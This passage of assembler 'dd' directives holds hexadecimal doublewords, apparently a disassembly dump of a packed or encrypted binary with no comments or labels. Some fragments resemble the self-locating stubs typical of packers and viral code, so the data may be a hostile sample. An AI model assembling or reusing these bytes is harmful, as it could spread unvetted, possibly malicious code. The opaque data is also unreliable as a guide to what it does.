		dd 0B88C0FD0h, 366B0DB2h, 0D54F08A0h, 0BF79684Bh, 1A1E7A6Bh
		dd 6DBE7C98h, 843757FBh, 136D409Fh, 0E9895183h,	3E0A28E9h
		dd 3A2D0093h, 65C51B94h, 91F93FDAh, 810577D5h, 9BB309A7h
		dd 0F08253F4h, 0CEB15E7Ah, 0DE8055Eh, 0C8000000h, 1E515F89h
		dd 955CEE06h, 61D6EB0Fh, 5AC38B66h, 0FE9h, 38D80B00h, 804BAB41h
		dd 556D4BF6h, 0C7AD5AAEh, 0E370C281h, 0D5BE0000h, 81080611h
		dd 5D917EEh, 5E95008h, 82000000h, 9E697400h, 811A8B58h
		dd 0EC47C4EBh, 0ACC3813Ah, 810CD5A9h, 0AE7F10F7h, 88F38177h
		dd 0FC775B35h, 820F1A89h, 3, 83C2B70Fh,	0EE8104EAh, 1
		dd 0FFCB850Fh, 18BFFFFFh, 5520726Ah, 5E75FDEDh,	0A476F67Ah
		dd 0BC56E669h, 5CCFD49h, 2B22FD21h, 3C63FD21h, 0B5C1FD21h
		dd 70B3FD21h, 92A9FD21h, 0E276FD21h, 5A57FD21h,	642FD21h
		dd 2889FD21h, 3C46FD21h, 0B7BBFD21h, 7104FD21h,	93E5FD21h
		dd 0E2C6FD21h, 5982FD21h, 5D6FD21h, 259DFD21h, 2295358Ah
		dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah,	9775F572h
		dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh
		dd 5E75FD7Ah, 0EF76FD7Ah, 2275A620h, 0CB75A621h, 0E475FD7Ah
		dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0F0701Ah,	0A673D241h
		dd 0B84268FFh, 0BFF0707Ch, 6C73D241h, 0DD42A8FFh, 0CBF0707Ch
		dd 3573D241h, 71426CFFh, 3DF0707Ch, 1E73D241h, 0E442A4FFh
		dd 34F0707Ch, 7B73D240h, 5642A0FFh, 0D3F0707Ch,	0D773D243h
		dd 429CFFh, 16F0707Ch, 4273D243h, 0CA4298FFh, 65F0707Ch
		dd 0F073D243h, 934294FFh, 0ACF0707Ch, 0A673D243h, 0B84288FFh
		dd 75F0707Ch, 6C73D243h, 0DD4290FFh, 0A4F0707Ch, 3573D243h
		dd 71428CFFh, 0DDF0707Ch, 1E73D243h, 0E44288FFh, 0C9F0707Ch
		dd 7B73D240h, 564278FFh, 0F7F0707Ch, 0D773D240h, 4274FFh
		dd 0F9F0707Ch, 4273D240h, 0CA4270FFh, 45F0707Ch, 0F073D240h
		dd 934284FFh, 0B0F0707Ch, 0A673D240h, 0B84280FFh, 42F0707Ch
		dd 6C73D241h, 0DD427CFFh, 3CF0767Ch, 3573D57Ah,	714233FFh
		dd 0A6F0767Ch, 1E73D554h, 0E4422FFFh, 0B0B69C7Ch, 0F29D11F1h
		dd 2375FD7Ah, 849717FBh, 0D525FB55h, 0ADFDF53Fh, 915ACAB7h
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0BF987C27h
		dd 0A073D243h, 42A9FFh,	0C3C87D7Ch, 0CF73D24Dh,	0E4C5B409h
		dd 0F9B54B75h, 863589BAh, 93422FEFh, 96FEBD7Ch,	2F7A452Bh
		dd 28AFD7Ah, 0CD5ACAA8h, 0D22048F7h, 0C6F8FB55h, 4B9D50FCh
		dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 915ACAA8h, 0FC2048F7h
		dd 0D1F8FB55h, 228A50FCh, 87BC1F23h, 9342A9F7h,	52DA07Ch
		dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F45ACAB4h
		dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h,	0B84233EFh
		dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h,	934233EFh
		dd 54C54D7Ch, 0BA8AAD79h, 915ACAB4h, 2BF69B20h,	277E9B7Eh
		dd 1AB6561Ch
		dd 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h
		dd 7F5DF70h, 83FE4DBAh,	9D3ED1h, 2A75FD7Bh, 0BC77E192h
		dd 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h,	0ED74BE8Ch
		dd 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h,	0A56889A0h
		dd 94913D59h, 7F5DF70h,	0B5FF4DBAh, 0C5BB6885h,	1F2FFB55h
		dd 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah
		dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
		dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch,	1A75FD7Bh
		dd 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h
		dd 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h
		dd 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah,	0E2CD3ED0h
		dd 0D75FD7Ah, 56422FEFh, 25C0707Ch, 5D73D24Dh, 2C7F518Ah
		dd 59E002D0h, 873D24Dh,	0E574E592h, 0F8254D7Ah,	4B9D5779h
		dd 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h,	61274DD0h
		dd 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh,	0EEDFA7CAh
		dd 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah,	1AF63F51h
		dd 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h
		dd 0E442B6FFh, 0AEC87D7Ch, 0F373D24Dh, 0FCF8EC0Fh, 0BA5ACAC7h
		dd 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h
		dd 0D8A00C3h, 87DF9CCAh, 9342B6F7h, 15C87D7Ch, 2F73D24Dh
		dd 12F8F10Fh, 0CD5ACAC7h, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh
		dd 8BA76885h, 0C3F8FB55h, 295AC160h, 3D6DF9F0h,	619C4DB9h
		dd 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h
		dd 295ACAB4h, 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h
		dd 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h
		dd 0E44233EFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h
		dd 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah
		dd 0F45ACAA8h, 4EC460F7h, 0A0F8FB55h, 4ECD3E39h, 0D075FD7Ah
		dd 0B8422FEFh, 0CEB57E7Ch, 1A8935F1h, 0DD4233EFh, 8E97577Ch
		dd 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch
		dd 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah
		dd 135F17FBh, 0EAFCFB55h, 6CF7D86h, 0E573D24Dh,	0F2EC7975h
		dd 73CDFD7Ah, 4375FD7Ah, 71422FE8h, 0ADFCBD7Ch,	915ACAACh
		dd 79F835F1h, 0E35AC184h, 0C5BB6F85h, 7FFDFB55h, 4801F3Ch
		dd 5E75FD6Dh, 18A37F79h, 1A35FB55h, 0E4490FE0h,	0E1B67E7Ch
		dd 4B22FEF3h, 7975FD64h, 8BA37779h, 0ECF8FB55h,	295AC19Ah
		dd 2F2B5989h, 0CB75FD72h, 0D2A76F85h, 0AF6FB55h, 7185897Eh
		dd 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h
		dd 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h
		dd 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h
		dd 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh
		dd 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah
		dd 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0E448EC90h, 3FCF707Ch
		dd 7973D24Dh, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh
		dd 0B84227E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h
		dd 0BC9D9D96h, 475FD7Ah, 123F17FBh, 25F8FB55h, 0CD5ACAA0h
		dd 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h, 69AF40F7h
		dd 0EF46FB55h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F45ACAA0h
		dd 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh,	969E0479h
		dd 0ABB69C82h, 0D2AF40F7h, 0F3CDFB55h, 0C075FD7Ah, 0BC75FD72h
		dd 9D145789h, 0EFFE3DF1h, 0A09278F7h, 0D08AFB55h, 2BE9CA8Bh
		dd 0C000000h, 65E8C6h, 9 dup(0)
		dd 4FE90000h, 0F2000005h, 0AAAE2B21h, 5D61DEDCh, 0E128F91h
		dd 0C5C9463Ch, 7A7DFAF8h, 1210DD2Ch, 0C8C29195h, 7A7C474Bh
		dd 2F29F9FDh, 96FC8CB2h, 795CAE46h, 0AFD51FF2h,	1550E4E2h
		dd 0AA1610E0h, 0F4ECB884h, 634B2255h, 2B6DB41h,	2A123735h
		dd 796730C4h, 5DAB5F55h, 734C21F7h, 6191537Fh, 0A9EF13Ch
		dd 0EC696734h, 0F91E18E8h, 567B7545h, 3E0AD4A2h, 0D7B1D63Ch
		dd 0C0E6A65Fh, 0E6CEF3F5h, 0E6AC7C52h, 0FF71C16h, 5D282CA9h
		dd 298FEF5Bh, 7F7301F3h, 0E2FC385h, 0D13D3F0Ah,	4ADEE0ABh
		dd 4FECD81h, 0C67F13DFh, 0F6737540h, 0BC2222F2h, 7F73011Ch
		dd 0CBF05618h, 730104D7h, 23DCD87Fh, 31C1D3A6h,	6EE3BBh
		dd 0E0100000h, 82784A10h, 0BC8AB01Ch, 0BF2527F2h, 9646AC9Ah
		dd 0A27F7393h, 1DE67AE0h, 7393F529h, 0F71D297Fh, 19072C2Ah
		dd 739365B3h, 0E74D0F7Fh, 1D9A5353h, 0BB312F5Ch, 0A870D636h
		dd 0CC7F739Fh, 0A8A760Ah, 0E2000000h, 0C15909BEh, 67FB899Fh
		dd 1412E02Ch, 6F6D3BEFh, 0CEC4964Ah, 716F3C62h,	7D0644Ch
		dd 76FCB52Dh, 292DAAA8h, 79E25F59h, 7C4913E0h, 3FF3187Eh
		dd 874E7371h, 0DDAA30E9h, 2462DFh, 90608A2Ch, 0AB796696h
		dd 21F1C75Bh, 0C795BB27h, 7E6C35C9h, 4A60B81Eh,	52147F73h
		dd 1A1CE8BEh, 3BC02F5h,	32060386h, 0B5B3BBh, 0E0E00000h
		dd 0D0994B13h, 0CCFED24Bh, 28D6FA66h, 2F62C277h, 0C80ECE34h
		dd 682A7F73h, 0F1A56E02h, 57B72325h, 73C82BF1h,	0A04D37Fh
		dd 8345FDE5h, 5E838551h, 6519E276h, 3F37CF97h, 75AD9DE5h
		dd 2538EA0Fh, 7D81D984h, 7E784779h, 40F98D59h, 0FDB62E86h
		dd 2FACAA77h, 3B605E2Bh, 5187ED4Dh, 0E37F736Ch,	0E5B78D21h
		dd 8D5D83EFh, 0F2866E93h, 37F03629h, 322CCFBAh,	3D63C3BBh
		dd 0D503756Bh, 0E77F729Ah, 0C189E4D3h, 1FE199ECh, 549F8Bh
		dd 0D1F70000h, 3A7509FFh, 0F01513E0h, 4A6F713Ch, 31FCCA96h
		dd 0F0A4C92Fh, 36FD2224h, 0C225DF98h, 5421A760h, 0E070D956h
		dd 1EF1412h, 69B7CFDDh,	2C929642h, 7F737CECh, 0CC60C688h
		dd 737C63B6h, 85ABB77Fh, 0AB93B8BAh, 0E15E1717h, 0BB321E98h
		dd 11Eh, 80A64B00h, 4D23B7B1h, 0A65A7F81h, 0EBB7DCD6h
		dd 4C189E57h, 0ADDCD4Ah, 935F7DE3h, 17D97F73h, 7FE545B1h
		dd 7F739359h, 847E4DDBh, 147A8A1Eh, 755B8CC9h, 0D084A96Bh
		dd 429A0000h, 0F6795B94h, 4D51CE34h, 6A5E837Dh,	795B94B4h
		dd 7C02BB1Dh, 0F735B2ACh, 6F0305D1h, 0AACFC999h, 0CBC996BCh
		dd 97916137h, 9DFDAB72h, 5B94E137h, 4F491979h, 4141D597h
		dd 0D2A2C888h, 37CBB3D8h, 0FCCB9161h, 241F9C02h, 0C1593655h
		dd 11461h, 21F48E00h, 0D8389804h, 7393AA72h, 780CCE7Fh
		dd 5B5ECF62h, 4A6F3175h, 4FCCC696h, 5C817B4Bh, 0B9DED8A8h
		dd 159B54F2h, 0D3CE4B45h, 0C15964A6h, 1BE7C8ECh, 3290D4F7h
		dd 45B29Eh, 0AA0A0000h,	5B679444h, 5686EC79h, 0E2795B67h
		dd 12A66820h, 21FF4D7h,	93C83096h, 0EAACFF73h, 8C8A587Eh
		dd 22EB7F67h, 7393EE2Eh, 0C37CE0FFh, 0EB577C51h, 73937785h
		dd 59274D7Fh, 0A96BC75Bh, 93252Ch, 0F42C0000h, 32980421h
		dd 755BB4EFh, 0F6AACF91h, 0ABAF2C26h, 4F75E1DBh, 25EE8284h
		dd 5B8DF031h, 0CC85E779h, 0FF7C7646h, 0AB173C0Fh, 5C56254Bh
		dd 7530B2C8h, 0C854730Ah, 0FD63226Fh, 7324D1DFh, 0D4679759h
		dd 36E64C57h, 427324A8h, 8FB41A80h, 0E4B07BA1h,	34E75E2Fh
		dd 274CB255h, 0AF6DD33Fh, 0C973248Ch, 0CD9D7307h, 0A10767D3h
		dd 73248C7Bh, 0F35171FDh, 5A1C7CDFh, 0CB9760F4h, 390C7E37h
		dd 0BA8AB01Ch, 0B61C2CC0h, 7975353Ch, 0DB199658h, 59EDE3B5h
		dd 421F41Eh, 55B03298h,	0FC207522h, 68412135h, 72CE6280h
		dd 7D78BB0h, 0BC8C900Dh, 633056C2h, 1408D165h, 0DE951A66h
		dd 6286E66Eh, 7EF1FB61h, 0D20A7CF2h, 0B21685EBh, 85EB8C4Ch
		dd 2EE6A816h, 429A006Ch, 0F61685EBh, 0E7A0A034h, 0BB61C727h
		dd 91685EBh, 85EB75A3h,	853DFF16h, 89592FC3h, 3E0E128Fh
		dd 996B1F44h, 441137A3h, 0A5392146h, 5D5B28DCh,	0BCB28438h
		dd 7E37CB97h, 2DE67AC4h, 60DDD7A7h, 312FFC22h, 0BA90240Ch
		dd 14CBF0EAh, 0Dh, 565871Bh, 7393799Fh,	0A539FB7Fh, 190FE06Ah
		dd 767040F4h, 0D0D29D51h, 2E28F7ABh, 8A885509h,	0E6E4B165h
		dd 453B0DC1h, 9EA06C20h, 0F9F7C579h, 8956FFD4h,	4C681E6h
		dd 50000000h, 4B8h, 58C62900h, 5C243487h, 81E68956h, 4C6h
		dd 4EE8300h, 5C243487h,	56241489h, 0C681E689h, 4, 8704EE83h
		dd 895C2434h, 0EE68243Ch, 8B062F3Dh, 0C4832414h, 52B96804h
		dd 24890000h, 24048124h, 4, 8B8505Fh, 1000000h,	8F52F8h
		dd 2434FF58h, 4C4815Fh,	8B000000h, 89532414h, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 3CABE95Ch, 0DA15FFF9h, 3174E8B1h
		dd 0CBF4431h, 0A9B8FB37h, 3062F42h, 59E0FFC5h, 4A3DF7EAh
		dd 355A1CEEh, 684106E2h, 92893D0h, 0ED531978h, 0CC056259h
		dd 0B646BD2Ch, 907096ABh, 0EB775A0Bh, 835F440Ch, 0FE0FE21Dh
		dd 0B6747B00h, 5F9E9C1h, 0EDE90000h, 5E000005h,	161A978Dh
		dd 0C9CD4A48h, 7A7EFBFDh, 3135B2A8h, 0E6E96664h, 7E7C49B8h
		dd 342EFD01h, 0E6E8B3B7h, 9B956569h, 268F81Eh, 795CD0DAh
		dd 0E0168B5Eh, 7D7F4A10h, 0E54BAB17h, 7F739337h, 0AD137F41h
		dd 7F73936Fh, 0EAB34709h, 44696B36h, 0A2C7C190h, 885721EEh
		dd 0D3F8F2C2h, 786085EBh, 0D9FFED12h, 1E90E0Ch,	0CCCA976Dh
		dd 2B21F3A7h, 7E865206h, 7393C018h, 4CB2747Fh, 0A7A57327h
		dd 0E60FE282h, 64B41A7Ah, 107F7393h, 44AABA4Eh,	7522503Ch
		dd 9D517638h, 373503D1h, 845054D1h, 0D7C6167Ch,	2DF8795Ch
		dd 661E062Bh, 0ACD23EA4h, 0D5BDE2DCh, 0EF847841h, 0B868FDBh
		dd 1D73D39h, 335EAFABh,	32E60B71h, 3BE89E62h, 0FC54A0A2h
		dd 298D7196h, 0E65EB670h, 0D9DBA72Dh, 7C996C5Ch, 1C1EEA10h
		dd 5E127888h, 254FE46h,	87ACA274h, 6014399Fh, 0FFF5C795h
		dd 0F8CF2DAh, 0D238400Bh, 5778C90Ah, 0E1066C2Eh, 8F6B9FEDh
		dd 28E1595Dh, 7AA20868h, 0FE51AF6Fh, 7D2A83Ch, 0EA4A8805h
		dd 0AF6F5484h, 0B21EE051h, 0AF6F8C4Ch, 52E6A851h, 2C98BD90h
		dd 35D32908h, 0F6C63330h, 0F20296FCh, 87E7F98Ch, 0C4C3E75Bh
		dd 0F8E5096h, 0AFD4CE9Eh, 71CD61C7h, 501D43AFh,	1F5BE52h
		dd 4A771EDFh, 0E9A962A8h, 61F5F7C3h, 35BCE594h,	0BA87ADF0h
		dd 73C28BCh, 69000000h,	375DDh,	80A6E400h, 0AF96ECB0h
		dd 0ACAD4CD0h, 0A06D2146h, 0D2A83CA2h, 0F2E00507h, 96CD84CEh
		dd 0AB17231Dh, 73D29745h, 4BDFA17Fh, 0BDBA975h,	9E04EC11h
		dd 78319579h, 2AF258B8h, 4E7F73D2h, 5722F88Ch, 0F5C3E955h
		dd 3E4263F7h, 9D4C7173h, 8E47E309h, 0BE3B3D08h,	80ECEEBAh
		dd 2E2CFA20h, 69AF2109h, 0B7F73D2h, 38ECB549h, 974B7066h
		dd 0F6AACFC5h, 21062B29h, 0B38006BFh, 71054FB5h, 646632B8h
		dd 0F1D7A3E7h, 5623BC99h, 8D7DB58h, 6635E90Eh, 0FDA006Ch
		dd 6634E80Dh, 0A56E0268h, 2523F1h, 5B807E4Ch, 0A15B1476h
		dd 5818D149h, 0F74A92F8h, 0D43A4095h, 4095F704h, 0F4B66E30h
		dd 0E6E630C4h, 6BFF0C25h, 4FCCC695h, 0D248h, 1BF44F00h
		dd 8BEBD9FEh, 9317C52Bh, 5F217F73h, 73932FEDh, 0EFBB497Fh
		dd 8A5587EDh, 4E1EF488h
		dd 7D3D754h, 0A5CFA3Bh,	0A80E3E0Eh, 0CD498F83h,	0C5597F73h
		dd 0B8BA860Ch, 5D57264Ch, 0D5A4A8C9h, 3202B6DBh, 0C1391338h
		dd 0B9B38208h, 6F69383Ch, 36385C4Ah, 693C862h, 0FF73A90Fh
		dd 43057F73h, 0A67349DDh, 23B783A8h, 0B684AA6Ah, 0B776A3EEh
		dd 64CA04ECh, 0EC4A92F8h, 2CEE7F73h, 0F9F3C298h, 0E1AB787Ch
		dd 0DE41416h, 0BAB3988h, 173DA90Fh, 0B0B27E4Ch,	0A93DA38Bh
		dd 817031E0h, 9D0363C3h, 7F73E27Fh, 17C537F9h, 217F73E2h
		dd 12CBCB5Fh, 55C1BF8Ch, 4166602Fh, 0A0A4C559h,	0BAAED3D5h
		dd 7F73E267h, 0B63CF585h, 2E6CE9EBh, 183D3B08h,	0E0619C30h
		dd 71A70D15h, 37F7393h,	43410F41h, 3904B8DDh, 0AD4B1237h
		dd 0F31034F4h, 384CAB78h, 668B8956h, 0AE84187Eh, 2064E1E3h
		dd 7F73DAC1h, 0C32989F5h, 7F73CA15h, 0FCC95D1Fh, 0BB31847Eh
		dd 0FFFEED38h, 21F465FFh, 0FE646C38h, 7F7393DEh, 0D32985Ah
		dd 8553B925h, 0AF7F7392h, 0B51B87EDh, 755BB562h, 792D5214h
		dd 9543A9A9h, 9F795BB3h, 0F6FA77DDh, 53072C26h,	0F91F8B81h
		dd 0CF982C2Eh, 3EC47DF5h, 0B9F7746Eh, 32C6C893h, 6D928C5Ch
		dd 5BB3A679h, 779D4B79h, 130DDDABh, 601919ADh, 93100ADAh
		dd 63612F55h, 2F29F9CFh, 6E976A0Ah, 0AFC99C02h,	0E9AB7373h
		dd 3C082E6Ch, 11E4A63Ah, 6A2288F4h, 5A797274h, 30967A36h
		dd 7AAC05CCh, 0C21EB2A8h, 9C6E9400h, 59981A6h, 0BBBD883Ch
		dd 6D6F3A3Eh, 0E10DB01h, 0A46D01E9h, 0C8BE90B6h, 0B789BBA3h
		dd 7A172DC1h, 9E92DFF2h, 0F9ADD2D0h, 450C3127h,	0D234EEA7h
		dd 6A6C385Eh, 971DD6D6h, 494DCACCh, 0A75B807Ah,	443E0EDCh
		dd 0ACD1371Fh, 0FABA73B9h, 0E30806D4h, 0DF9A67FBh, 0D7E95D91h
		dd 0A6h, 1412E004h, 68335997h, 0FB48CB9Ch, 0A60CE632h
		dd 6E703C12h, 251BEDF1h, 79446AA8h, 79DFDDABh, 2D86C54h
		dd 0B6BA3735h, 306EEBE9h, 1B403A0Ah, 0FAC99F33h, 0B47F8300h
		dd 613135B2h, 19E6EA67h, 6695BA51h, 0DF4541CFh,	0E79BE4BAh
		dd 2CF81D17h, 0A737DF98h, 0D732BD83h, 1AAEF858h, 1974A40Ah
		dd 3E007F73h, 0FF1D83C1h, 797F7319h, 2C1A63B7h,	0B3D3706h
		dd 0D4AD413Bh, 87h, 0E046A6DBh,	7F739338h, 0E2E67A3Ch
		dd 7393B764h, 7B71437Fh, 0D7D5A256h, 0B16ACEB2h, 934D8BF1h
		dd 25E77F73h, 28E175BFh, 12E090B5h, 0C7939714h,	724448C5h
		dd 77DDE5B0h, 7F7393A1h, 86AB11D3h, 0B7BB389Eh,	6B6FECEAh
		dd 1F23A09Eh, 0D5D95650h, 3BE03E0Ah, 9D109F1Ah,	0E6B6BA37h
		dd 2D525420h, 2462DF45h, 13331FEh, 28103533h, 15BB94h
		dd 8DED0000h, 0FF11C72Dh, 61237F73h, 73FF29EFh,	0F5894B7Fh
		dd 0E03A87BAh, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h
		dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h
		dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 430268h, 241C8900h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 57241489h, 5A647BBFh
		dd 0F9F78113h, 57157527h, 91685F5Bh, 89000032h,	4812424h
		dd 424h, 89565A00h, 87289DEh, 8324348Bh, 34FF04C4h, 0C4815A24h
		dd 4, 50241C8Bh, 405E089h, 83000000h, 48704C0h,	72E95C24h
		dd 62FFF936h, 0BF38B644h, 2F48F3B8h, 8BC50306h,	2AE9D3h
		dd 4C70000h, 24h, 0E800h, 815D0000h, 2F4989EDh,	24448B06h
		dd 0CD858904h, 0B8062810h, 0
		dd 4F6E8D8Dh, 0E1FF0628h, 6754B8h, 0FE800h, 0F0DA0000h
		dd 0B550C2BBh, 47CCACC8h, 0B65BB715h, 81665965h, 81E5DED0h
		dd 70EFC1h, 81566000h, 97EBB2EBh, 12E85E39h, 0B4000000h
		dd 3DF3C73Ch, 9E822E7Ah, 0C4C75C7h, 20466332h, 8B0FC4h
		dd 5B000000h, 0C679BE61h, 0C68105EFh, 0FA105598h, 0DE931FFh
		dd 72000000h, 8D583F0Eh, 9B7F9880h, 0D43AE8C7h,	81C68B5Ah
		dd 0E1833EF2h, 0E6EA817Eh, 660726D5h, 81948CBFh, 14FCD7C2h
		dd 48F0F6Fh, 66000000h,	89AB07BFh, 0DE8B6611h, 0D3D2E981h
		dd 81F87B25h, 25D3CEC1h, 836BB47Bh, 850F01EEh, 0FFFFFFACh
		dd 8E9h, 9EBE2700h, 8C212EABh, 568D8D03h, 6A062F4Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 192C350h, 0E50CF554h, 0FD78B66h, 385h, 65F78000h, 34019D89h
		dd 8D890628h, 6280715h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 14C35545h, 95772712h,	572B8E28h, 0DE8h
		dd 92F64900h, 0AEE09630h, 79FBEEFFh, 0BF66A4F2h, 5B58F597h
		dd 20419D2Bh, 85C70628h, 62821BDh, 6018h, 16ED8589h, 85C70628h
		dd 628113Dh, 0
		dd 2B91858Bh, 0B5FF0628h, 6280439h, 14C9852Bh, 0DDBF0628h
		dd 0FF0B3023h, 2814D995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0C89915E9h
		dd 13E9h, 8E949B00h, 0C7D5259Fh, 737492F2h, 0C6CA1A6Ah
		dd 13FF8928h, 95FF006Ah, 6280465h, 6EEBC08Bh, 0B2252A85h
		dd 9A837A10h, 0DA116A78h, 0AC40B2F5h, 7FA13104h, 0F9B8EE6Ah
		dd 0F6409CB2h, 0DE6040Bh, 0BE61499Dh, 42503990h, 0F1DFCB79h
		dd 1A58265Ch, 5AA1D210h, 0EB72DF76h, 0EB14288Bh, 4C559BA5h
		dd 4FCB896Ch, 0C265BBD9h, 241F9ECAh, 0A48A4109h, 0CC6CE185h
		dd 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h,	0B438B540h
		dd 0FDC2F6F9h, 0CAFE14BEh, 0A80A427Ch, 8A4ECAF3h, 0A80A42BBh
		dd 75EAD5ABh, 0A80A4313h, 8A4ECBF9h, 57AE5DBAh,	8A4EC856h
		dd 0A80A4003h, 75EAD5ABh, 0A80A40CAh, 8A4EC884h, 0A80A4154h
		dd 8A4EC906h, 0A80A41CEh, 75EAD5ABh, 5CD42F25h,	3130518h
		dd 871A69C0h, 0E890A752h, 21578D08h, 0A55EE5D1h, 11D42F43h
		dd 3130519h, 871A71C0h,	9B90A752h, 21578D0Bh, 0A55EF1D1h
		dd 0C0D42F43h, 313051Ah, 871A7DC0h, 3790A752h, 21578D0Bh
		dd 0A55ECDD1h, 0A9D42F43h, 313051Bh, 871A49C0h,	0C090A752h
		dd 21578D0Ah, 0A55ED9D1h, 23D42F43h, 313051Bh, 871A55C0h
		dd 4690A752h, 21578D0Ah, 0A55ED1D1h, 0A5D42F43h, 3130504h
		dd 871A5DC0h, 0CC90A752h, 21578D15h, 0A55929D1h, 12B8C343h
		dd 0DF152A50h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0C6BBC0D5h
		dd 0ED96A46Ah, 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh
		dd 0CB152A54h, 415564C6h, 75EAD5BAh, 3AAE63CEh,	8C3D04DDh
		dd 0AB534284h, 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h
		dd 86D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh,	0CFD22629h
		dd 0A851A2B9h, 62AD6C54h, 351A241h, 27BFEA66h, 50DB2FEEh
		dd 7513056Ch, 2011294h,	0B2EDA0D9h, 79AEA46Ah, 0AE51A1ECh
		dd 22DC0941h, 8C3A12ACh, 103773BAh, 21732ADFh, 90A928C8h
		dd 5BEA2C7Bh, 8C152BFDh, 988150h, 0AE7E9ABDh, 0D2A5FBABh
		dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 0C77BC0D5h, 0DDDAA46Ah, 8668A15Ch
		dd 0A8ADE782h, 0CC152A54h, 0A81430BAh, 529E2C7Ch, 83FC69CEh
		dd 0E2A5B997h, 0F9FA31EFh, 0B2EDA0D9h, 79AEA46Ah, 20949A0Dh
		dd 8C551A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8A15C234h, 290BA245h, 0A558EFBEh
		dd 0A0242943h, 4D1957DFh, 0A8515E00h, 75532A54h, 8051E7D7h
		dd 19CDA152h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0B2EDA0D9h
		dd 79AEA46Ah, 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8260A134h
		dd 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h,	4919197h
		dd 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh,	8A1523EDh
		dd 2DA05545h, 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh
		dd 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h
		dd 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h,	69C20E45h
		dd 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh
		dd 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h
		dd 4B93E256h, 39191EFh,	319577Fh, 23305E38h, 48DCD611h
		dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh,	0A8515E00h
		dd 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h, 8C3A12ACh
